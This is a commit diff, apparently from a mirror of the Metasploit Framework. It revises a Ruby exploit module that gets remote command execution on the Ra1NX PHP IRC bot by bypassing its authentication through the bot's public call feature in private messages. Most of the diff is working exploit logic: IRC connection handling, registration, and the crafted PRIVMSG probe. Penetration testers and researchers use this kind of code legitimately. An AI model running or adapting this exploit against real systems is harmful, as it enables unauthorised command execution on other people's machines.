infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #2 from jvazquez-r7/ra1nx_work 

trying to solve irc comm issues
unstable
(B)rian (Wall)ace 2013-03-29 10:24:51 -07:00
parent 6cf44d9c85 cd1820d769
commit 849c474c02
1 changed files with 34 additions and 18 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

52
modules/exploits/multi/misc/Ra1NX_pubcall_exec.rb
View File

@ -14,9 +14,9 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => '"Ra1NX" PHP Bot PubCall Authentication Bypass Remote Code Execution',
'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution',
'Description' => %q{
This module allows remote command execution on the PHP IRC bot Ra1NX by
This module allows remote command execution on the PHP IRC bot Ra1NX by
using the public call feature in private message to covertly bypass the
authentication system.
},
@ -27,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '91663'],
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
@ -40,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'PayloadType' => 'cmd'
}
},
'Targets' =>
@ -62,16 +63,38 @@ class Metasploit3 < Msf::Exploit::Remote
], self.class)
end
def check
def connect_irc
print_status("#{rhost}:#{rport} - Connecting to IRC server...")
connect
data = ""
begin
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue EOFError
end
if data and data =~ /020.*wait/
print_status("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")
select(nil, nil, nil, 3)
end
end
def check
connect_irc
response = register(sock)
if response =~ /463/ or response =~ /464/
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return Exploit::CheckCode::Unknown
end
confirm_string = rand_text_alpha(8)
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n", ":#{datastore['RNICK']}")
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
quit(sock)
disconnect
@ -82,22 +105,15 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def send_msg(sock, data, startResponse = nil)
def send_msg(sock, data)
sock.put(data)
data = ""
count = 3
begin
begin
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
if startResponse != nil and data.start_with?(startResponse)
startResponse = nil
end
count -= 1
end while startResponse == nil and count != 0
end
rescue EOFError
end
data
@ -137,7 +153,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
connect
connect_irc
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
response = register(sock)